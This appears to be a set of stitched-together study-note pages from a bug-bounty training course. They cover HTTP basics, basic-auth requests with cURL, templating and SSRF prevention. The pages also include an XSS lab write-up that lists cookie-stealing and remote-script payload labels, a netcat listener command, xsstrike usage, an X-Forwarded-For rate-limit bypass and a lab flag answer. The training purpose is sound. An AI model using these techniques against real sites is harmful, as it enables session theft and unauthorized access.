Prevents the browser from accessing the website over the plaintext HTTP protocol, and forces all communication to be carried over the secure HTTPS protocol. This prevents attackers from sniffing web traffic and accessing protected information such as passwords or other sensitive data.
`Referrer-Policy`
`Referrer-Policy: origin`
Dictates whether the browser should include the value specified via the `Referer` header or not. It can help in avoiding disclosing sensitive URLs and information while browsing the website.
Note: This section only mentions a small subset of commonly seen HTTP headers. There are many other contextual headers that can be used in HTTP communications. It's also possible for applications to define custom headers based on their requirements. A complete list of standard HTTP headers can be found [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
.
### Browser DevTools[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#browser-devtools)
Finally, let's see how we can preview the HTTP headers using the browser devtools. Just as we did in the previous section, we can go to the `Network` tab to view the different requests made by the page. We can click on any of the requests to view its details:

Browser DevTools
In the first `Headers` tab, we see both the HTTP request and HTTP response headers. The devtools automatically arrange the headers into sections, but we can click on the `Raw` button to view their details in their raw format. Furthermore, we can check the `Cookies` tab to see any cookies used by the request, as discussed in an upcoming section.
### Exercise[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#exercise)
Target: 94.237.49.182:53523
The server above loads the flag after the page is loaded. Use the Network tab in the browser devtools to see what requests are made by the page, and find the request to the flag.
1. Pull up dev tools in browser and go to the network sections

Observing Network Traffic
1. Notice the flag file with the JavaScript file click on it and look under the response.

Response with the flag
#### Answer: HTB{p493\_r3qu3$t$\_m0n!t0r}[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#answer-htb-p493_r3qu3usdtusd_m0n-t0r)
[PreviousHTTP Requests and Responses](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses)
[NextHTTP Methods](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods)
Last updated 2 years ago
* [General Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#general-headers)
* [Entity Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#entity-headers)
* [Request Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#request-headers)
* [Response Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#response-headers)
* [Security Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#security-headers)
* [Browser DevTools](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#browser-devtools)
* [Exercise](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#exercise)
---
# HTTP Methods | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods.md)
.
[HTTP Methods and Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes)
[GET](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get)
[POST](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/post)
[CRUD API](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/crud-api)
[PreviousHTTP Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers)
[NextHTTP Methods and Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes)
---
# HTTP Methods and Codes | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes.md)
.
HTTP supports multiple methods for accessing a resource. In the HTTP protocol, several request methods allow the browser to send information, forms, or files to the server. These methods are used, among other things, to tell the server how to process the request we send and how to reply.
We saw different HTTP methods used in the HTTP requests we tested in the previous sections. With cURL, if we use `-v` to preview the full request, the first line contains the HTTP method (e.g. `GET / HTTP/1.1`), while with browser devtools, the HTTP method is shown in the `Method` column. Furthermore, the response headers also contain the HTTP response code, which states the status of processing our HTTP request.
### Request Methods[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#request-methods)
The following are some of the commonly used methods:
**Method**
**Description**
`GET`
Requests a specific resource. Additional data can be passed to the server via query strings in the URL (e.g. `?param=value`).
`POST`
Sends data to the server. It can handle multiple types of input, such as text, PDFs, and other forms of binary data. This data is appended in the request body present after the headers. The POST method is commonly used when sending information (e.g. forms/logins) or uploading data to a website, such as images or documents.
`HEAD`
Requests the headers that would be returned if a GET request was made to the server. It doesn't return the request body and is usually made to check the response length before downloading resources.
`PUT`
Creates new resources on the server. Allowing this method without proper controls can lead to uploading malicious resources.
`DELETE`
Deletes an existing resource on the webserver. If not properly secured, can lead to Denial of Service (DoS) by deleting critical files on the web server.
`OPTIONS`
Returns information about the server, such as the methods accepted by it.
`PATCH`
Applies partial modifications to the resource at the specified location.
The list only highlights a few of the most commonly used HTTP methods. The availability of a particular method depends on the server as well as the application configuration. For a full list of HTTP methods, you can visit this [link](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods)
.
Note: Most modern web applications mainly rely on the `GET` and `POST` methods. However, any web application that utilizes REST APIs also rely on `PUT` and `DELETE`, which are used to update and delete data on the API endpoint, respectively. Refer to the [Introduction to Web Applications](https://academy.hackthebox.com/module/details/75)
module for more details.
* * *
### Response Codes[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#response-codes)
HTTP status codes are used to tell the client the status of their request. An HTTP server can return five types of response codes:
**Type**
**Description**
`1xx`
Provides information and does not affect the processing of the request.
`2xx`
Returned when a request succeeds.
`3xx`
Returned when the server redirects the client.
`4xx`
Signifies improper requests `from the client`. For example, requesting a resource that doesn't exist or requesting a bad format.
`5xx`
Returned when there is some problem `with the HTTP server` itself.
The following are some of the commonly seen examples from each of the above HTTP method types:
**Code**
**Description**
`200 OK`
Returned on a successful request, and the response body usually contains the requested resource.
`302 Found`
Redirects the client to another URL. For example, redirecting the user to their dashboard after a successful login.
`400 Bad Request`
Returned on encountering malformed requests such as requests with missing line terminators.
`403 Forbidden`
Signifies that the client doesn't have appropriate access to the resource. It can also be returned when the server detects malicious input from the user.
`404 Not Found`
Returned when the client requests a resource that doesn't exist on the server.
`500 Internal Server Error`
Returned when the server cannot process the request.
For a full list of standard HTTP response codes, you can visit this [link](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status)
. Apart from the standard HTTP codes, various servers and providers such as [Cloudflare](https://support.cloudflare.com/hc/en-us/articles/115003014432-HTTP-Status-Codes)
or [AWS](https://docs.aws.amazon.com/AmazonSimpleDB/latest/DeveloperGuide/APIError.html)
implement their own codes.
[Previous](https://academy.hackthebox.com/module/35/section/223)
Mark Complete & Next[Next](https://academy.hackthebox.com/module/35/section/247) Cheat Sheet
[PreviousHTTP Methods](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods)
[NextGET](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get)
Last updated 2 years ago
* [Request Methods](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#request-methods)
* [Response Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes#response-codes)
---
# GET | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get.md)
.
### HTTP Basic Auth[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-basic-auth)
When we visit the exercise found at the end of this section, it prompts us to enter a username and a password. Unlike the usual login forms, which utilize HTTP parameters to validate the user credentials (e.g. POST request), this type of authentication utilizes a `basic HTTP authentication`, which is handled directly by the webserver to protect a specific page/directory, without directly interacting with the web application.
To access the page, we have to enter a valid pair of credentials, which are `admin`:`admin` in this case:

Once we enter the credentials, we would get access to the page:

Let's try to access the page with cURL, and we'll add `-i` to view the response headers:
GET
As we can see, we get `Access denied` in the response body, and we also get `Basic realm="Access denied"` in the `WWW-Authenticate` header, which confirms that this page indeed uses `basic HTTP auth`, as discussed in the Headers section. To provide the credentials through cURL, we can use the `-u` flag, as follows:
GET
This time we do get the page in the response. There is another method we can provide the `basic HTTP auth` credentials, which is directly through the URL as (`username:password@URL`), as we discussed in the first section. If we try the same with cURL or our browser, we do get access to the page as well:
GET
We may also try visiting the same URL on a browser, and we should get authenticated as well.
### HTTP Authorization Header[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-authorization-header)
If we add the `-v` flag to either of our earlier cURL commands:
GET
As we are using `basic HTTP auth`, we see that our HTTP request sets the `Authorization` header to `Basic YWRtaW46YWRtaW4=`, which is the base64 encoded value of `admin:admin`. If we were using a modern method of authentication (e.g. `JWT`), the `Authorization` would be of type `Bearer` and would contain a longer encrypted token.
Let's try to manually set the `Authorization`, without supplying the credentials, to see if it does allow us access to the page. We can set the header with the `-H` flag, and will use the same value from the above HTTP request. We can add the `-H` flag multiple times to specify multiple headers:
GET
As we see, this also gave us access to the page. These are a few methods we can use to authenticate to the page. Most modern web applications use login forms built with the back-end scripting language (e.g. PHP), which utilize HTTP POST requests to authenticate the users and then return a cookie to maintain their authentication.
* * *
### GET Parameters[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#get-parameters)
Once we are authenticated, we get access to a `City Search` function, in which we can enter a search term and get a list of matching cities:

As the page returns our results, it may be contacting a remote resource to obtain the information, and then display them on the page. To verify this, we can open the browser devtools and go to the Network tab, or use the shortcut \[`CTRL+SHIFT+E`\] to get to the same tab. Before we enter our search term and view the requests, we may need to click on the `trash` icon on the top left, to ensure we clear any previous requests and only monitor newer requests:

After that, we can enter any search term and hit enter, and we will immediately notice a new request being sent to the backend:

When we click on the request, it gets sent to `search.php` with the GET parameter `search=le` used in the URL. This helps us understand that the search function requests another page for the results.
Now, we can send the same request directly to `search.php` to get the full search results, though it will probably return them in a specific format (e.g. JSON) without having the HTML layout shown in the above screenshot.
To send a GET request with cURL, we can use the exact same URL seen in the above screenshots since GET requests place their parameters in the URL. However, browser devtools provide a more convenient method of obtaining the cURL command. We can right-click on the request and select `Copy>Copy as cURL`. Then, we can paste the copied command in our terminal and execute it, and we should get the exact same response:
GET
Note: The copied command will contain all headers used in the HTTP request. However, we can remove most of them and only keep necessary authentication headers, like the `Authorization` header.
We can also repeat the exact request right within the browser devtools, by selecting `Copy>Copy as Fetch`. This will copy the same HTTP request using the JavaScript Fetch library. Then, we can go to the JavaScript console tab by clicking \[`CTRL+SHIFT+K`\], paste our Fetch command and hit enter to send the request:

As we see, the browser sent our request, and we can see the response returned after it. We can click on the response to view its details, expand various details, and read them.
[PreviousHTTP Methods and Codes](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/http-methods-and-codes)
[NextPOST](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/post)
Last updated 2 years ago
* [HTTP Basic Auth](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-basic-auth)
* [HTTP Authorization Header](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#http-authorization-header)
* [GET Parameters](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/http-methods/get#get-parameters)
Copy
johnnyhacker24@htb[/htb]$ curl -i http://:/
HTTP/1.1 401 Authorization Required
Date: Mon, 21 Feb 2022 13:11:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-cache, must-revalidate, max-age=0
WWW-Authenticate: Basic realm="Access denied"
Content-Length: 13
Content-Type: text/html; charset=UTF-8
Access denied
Copy
johnnyhacker24@htb[/htb]$ curl -u admin:admin http://:/
...SNIP...
Copy
johnnyhacker24@htb[/htb]$ curl http://admin:admin@:/
...SNIP...
Copy
johnnyhacker24@htb[/htb]$ curl -v http://admin:admin@:/
* Trying :...
* Connected to () port PORT (#0)
* Server auth using Basic with user 'admin'
> GET / HTTP/1.1
> Host:
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.77.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 21 Feb 2022 13:19:57 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Cache-Control: no-store, no-cache, must-revalidate
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 1453
< Content-Type: text/html; charset=UTF-8
<
...SNIP...
Copy
johnnyhacker24@htb[/htb]$ curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://:/
...SNIP...
Copy
johnnyhacker24@htb[/htb]$ curl 'http://:/search.php?search=le' -H 'Authorization: Basic YWRtaW46YWRtaW4='
Leeds (UK)
Leicester (UK)
---
# Advanced SQL Map Usage | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage.md)
.
[Bypassing Web Application Protections](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/bypassing-web-application-protections)
[OS Exploitation](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/os-exploitation)
[PreviousAdvanced Database Enumeration](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/database-enumeration/advanced-database-enumeration)
[NextBypassing Web Application Protections](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/bypassing-web-application-protections)
---
# Brute Force Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks.md)
.
[Enumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users)
[Brute-Forcing Passwords](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-passwords)
[Brute-Forcing Password Reset Tokens](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-password-reset-tokens)
[Brute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes)
[Weak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection)
[PreviousAttacks on Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication)
[NextEnumerating Users](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/enumerating-users)
---
# Prevention | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention.md)
.
[Command Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention)
[PreviousEvasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools)
[NextCommand Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention)
---
# Template Engines | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines.md)
.
* * *
A template engine is software that combines pre-defined templates with dynamically generated data and is often used by web applications to generate dynamic responses. An everyday use case for template engines is a website with shared headers and footers for all pages. A template can dynamically add content but keep the header and footer the same. This avoids duplicate instances of header and footer in different places, reducing complexity and thus enabling better code maintainability. Popular examples of template engines are [Jinja](https://jinja.palletsprojects.com/en/3.1.x/)
and [Twig](https://twig.symfony.com/)
.
* * *
### Templating[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/template-engines#templating)
Template engines typically require two inputs: a template and a set of values to be inserted into the template. The template can typically be provided as a string or a file and contains pre-defined places where the template engine inserts the dynamically generated values. The values are provided as key-value pairs so the template engine can place the provided value at the location in the template marked with the corresponding key. Generating a string from the input template and input values is called `rendering`.
The template syntax depends on the concrete template engine used. For demonstration purposes, we will use the syntax used by the `Jinja` template engine throughout this section. Consider the following template string:
Code: jinja2
Copy
Hello {{ name }}!
It contains a single variable called `name`, which is replaced with a dynamic value during rendering. When the template is rendered, the template engine must be provided with a value for the variable `name`. For instance, if we provide the variable `name="vautia"` to the rendering function, the template engine will generate the following string:
Copy
Hello vautia!
As we can see, the template engine simply replaces the variable in the template with the dynamic value provided to the rendering function.
While the above is a simplistic example, many modern template engines support more complex operations typically provided by programming languages, such as conditions and loops. For instance, consider the following template string:
Code: jinja2
Copy
{% for name in names %}
Hello {{ name }}!
{% endfor %}
The template contains a `for-loop` that loops over all elements in a variable `names`. As such, we need to provide the rendering function with an object in the `names` variable that it can iterate over. For instance, if we pass the function with a list such as `names=["vautia", "21y4d", "Pedant"]`, the template engine will generate the following string:
Copy
Hello vautia!
Hello 21y4d!
Hello Pedant!
[PreviousSSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti)
[NextIdentifying SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti)
Last updated 10 months ago
---
# Building Attacks | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks.md)
.
[Running SQLMap on an HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/running-sqlmap-on-an-http-request)
[Handling SQLMap Errors](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/handling-sqlmap-errors)
[Attack Tuning](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/attack-tuning)
[PreviousSQLMap Output Description](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/sqlmap-output-description)
[NextRunning SQLMap on an HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/building-attacks/running-sqlmap-on-an-http-request)
---
# Preventing SSRF | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf.md)
.
Preventing SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#preventing-ssrf)
---------------------------------------------------------------------------------------------------------------------
* * *
After discussing identifying and exploiting SSRF vulnerabilities, we will dive into SSRF prevention and mitigation techniques.
* * *
### Prevention[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#prevention)
Mitigations and countermeasures against SSRF vulnerabilities can be implemented at the web application or network layers. If the web application fetches data from a remote host based on user input, proper security measures to prevent SSRF scenarios are crucial.
The remote origin data is fetched from should be checked against a whitelist to prevent an attacker from coercing the server to make requests against arbitrary origins. A whitelist prevents an attacker from making unintended requests to internal systems. Additionally, the URL scheme and protocol used in the request need to be restricted to prevent attackers from supplying arbitrary protocols. Instead, it should be hardcoded or checked against a whitelist. As with any user input, input sanitization can help prevent unexpected behavior that may lead to SSRF vulnerabilities.
On the network layer, appropriate firewall rules can prevent outgoing requests to unexpected remote systems. If properly implemented, a restricting firewall configuration can mitigate SSRF vulnerabilities in the web application by dropping any outgoing requests to potentially interesting target systems. Additionally, network segmentation can prevent attackers from exploiting SSRF vulnerabilities to access internal systems.
For more details on the SSRF mitigation measures, check out the [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
.
[PreviousBlind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf)
[NextSSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti)
Last updated 10 months ago
* [Preventing SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#preventing-ssrf)
* [Prevention](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/preventing-ssrf#prevention)
---
# XSLT Injection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection.md)
.
[Intro to XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection)
[Exploiting XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection)
[Preventing XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/preventing-xslt-injection)
[PreviousPreventing SSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection/preventing-ssi-injection)
[NextIntro to XSLT Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/intro-to-xslt-injection)
---
# Additional Write Up | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/7.-cross-site-scripting-xss/skills-assessment/additional-write-up.md)
.
HTB Skills Assessment: Cross Site Scripting (XSS)[](https://my-gitbook-2.gitbook.io/cbbh/7.-cross-site-scripting-xss/skills-assessment/additional-write-up#id-7309)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------
[](https://medium.com/@colegrim?source=post_page---byline--6b9f001bd9bd---------------------------------------)
[Cole Grim](https://medium.com/@colegrim?source=post_page---byline--6b9f001bd9bd---------------------------------------)
Follow2 min read·Apr 21, 2025
1
My target is 10.129.122.45
* What is the value of the ‘flag’ cookie?
Well, only 1 question here with no direction other than to access the assessment directory, so we’ll get to work.
Loading [http://10.129.122.45/assessment](http://10.129.122.45/assessment)
reveals a page with a search box.
Clicking around, I also see a post. On that post at
[http://10.129.122.45/assessment/index.php/2021/06/11/welcome-to-security-blog/](http://10.129.122.45/assessment/index.php/2021/06/11/welcome-to-security-blog/)
I see a page with several fields ‘Comment’ ‘Name’ ‘Email’ ‘Website’ a checkbox, and another search field.
Noting the page says ‘comments must be approved by an admin’, so we will probably have an opportunity for blind XSS here.
We’ll start off starting a web server on my machine:
Copy
└─$ sudo php -S 0.0.0.0:80
We’ll test out some XSS payloads to see if any are executed. I put these in the boxes:
Copy
">`
Basic XSS Payload
``
Basic XSS Payload
``
Basic XSS Payload
``
HTML-based XSS Payload
``
Change Background Color
``
Change Background Image
``
Change Website Title
``
Overwrite website's main body
``
Remove certain HTML element
``
Load remote script
``
Send Cookie details to us
**Commands**
`python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"`
Run `xsstrike` on a url parameter
`sudo nc -lvnp 80`
Start `netcat` listener
`sudo php -S 0.0.0.0:80`
Start `PHP` server
[PreviousAdditional Write Up](https://my-gitbook-2.gitbook.io/cbbh/7.-cross-site-scripting-xss/skills-assessment/additional-write-up)
[NextIntro](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/intro)
Last updated 8 months ago
---
# Weak Brute-Force Protection | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection.md)
.
Weak Brute-Force Protection[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#weak-brute-force-protection)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
After understanding different brute-force attacks on authentication mechanisms, this section will discuss security mechanisms that thwart brute-forcing and how to potentially bypass them. Among the common types of brute-force protection mechanisms are rate limits and CAPTCHAs.
* * *
### Rate Limits[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#rate-limits)
Rate limiting is a crucial technique employed in software development and network management to control the rate of incoming requests to a system or API. Its primary purpose is to prevent servers from being overwhelmed by too many requests at once, prevent system downtime, and prevent brute-force attacks. By limiting the number of requests allowed within a specified time frame, rate limiting helps maintain stability and ensures fair usage of resources for all users. It safeguards against abuse, such as denial-of-service (DoS) attacks or excessive usage by individual clients, by enforcing a maximum threshold on the frequency of requests.
When an attacker conducts a brute-force attack and hits the rate limit, the attack will be thwarted. A rate limit typically increments the response time iteratively until a brute-force attack becomes infeasible or blocks the attacker from accessing the service for a certain amount of time.
A rate limit should only be enforced on an attacker, not regular users, to prevent DoS scenarios. Many rate limit implementation rely on the IP address to identify the attacker. However, in a real-world scenario, obtaining the attacker's IP address might not always be as simple as it seems. For instance, if there are middleboxes such as reverse proxies, load balancers, or web caches, a request's source IP address will belong to the middlebox, not the attacker. Thus, some rate limits rely on HTTP headers such as `X-Forwarded-For` to obtain the actual source IP address.
However, this causes an issue as an attacker can set arbitrary HTTP headers in request, bypassing the rate limit entirely. This enables an attacker to conduct a brute-force attack by randomizing the `X-Forwarded-For` header in each HTTP request to avoid the rate limit. Vulnerabilities like this occur frequently in the real world, for instance, as reported in [CVE-2020-35590](https://nvd.nist.gov/vuln/detail/CVE-2020-35590)
.
* * *
### CAPTCHAs[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#captchas)
A `Completely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA)` is a security measure to prevent bots from submitting requests. By forcing humans to make requests instead of bots or scripts, brute-force attacks become a manual task, making them infeasible in most cases. CAPTCHAs typically present challenges that are easy for humans to solve but difficult for bots, such as identifying distorted text, selecting particular objects from images, or solving simple puzzles. By requiring users to complete these challenges before accessing certain features or submitting forms, CAPTCHAs help prevent automated scripts from performing actions that could be harmful, such as spamming forums, creating fake accounts, or launching brute-force attacks on login pages. While CAPTCHAs serve an essential purpose in deterring automated abuse, they can also present usability challenges for some users, particularly those with visual impairments or specific cognitive disabilities.
From a security perspective, it is essential not to reveal a CAPTCHA's solution in the response, as we can see in the following flawed CAPTCHA implementation:
arrow-circle-left redo home

Additionally, tools and browser extensions to solve CAPTCHAs automatically are rising. Many open-source CAPTCHA solvers can be found. In particular, the rise of AI-driven tools provides CAPTCHA-solving capabilities by utilizing powerful image recognition or voice recognition machine learning models.
[PreviousBrute-Forcing 2FA Codes](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/brute-forcing-2fa-codes)
[NextPassword Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks)
Last updated 9 months ago
* [Weak Brute-Force Protection](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#weak-brute-force-protection)
* [Rate Limits](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#rate-limits)
* [CAPTCHAs](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks/weak-brute-force-protection#captchas)
---
# Bypassing Filters | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters.md)
.
[Client-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation)
[Blacklist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters)
[Whitelist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters)
[Type Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/type-filters)
[PreviousUpload Exploitation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/basic-exploitation/upload-exploitation)
[NextClient-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation)
---
# Identifying Filters | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters.md)
.
* * *
As we have seen in the previous section, even if developers attempt to secure the web application against injections, it may still be exploitable if it was not securely coded. Another type of injection mitigation is utilizing blacklisted characters and words on the back-end to detect injection attempts and deny the request if any request contained them. Yet another layer on top of this is utilizing Web Application Firewalls (WAFs), which may have a broader scope and various methods of injection detection and prevent various other attacks like SQL injections or XSS attacks.
This section will look at a few examples of how command injections may be detected and blocked and how we can identify what is being blocked.
* * *
### Filter/WAF Detection[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters#filter-waf-detection)
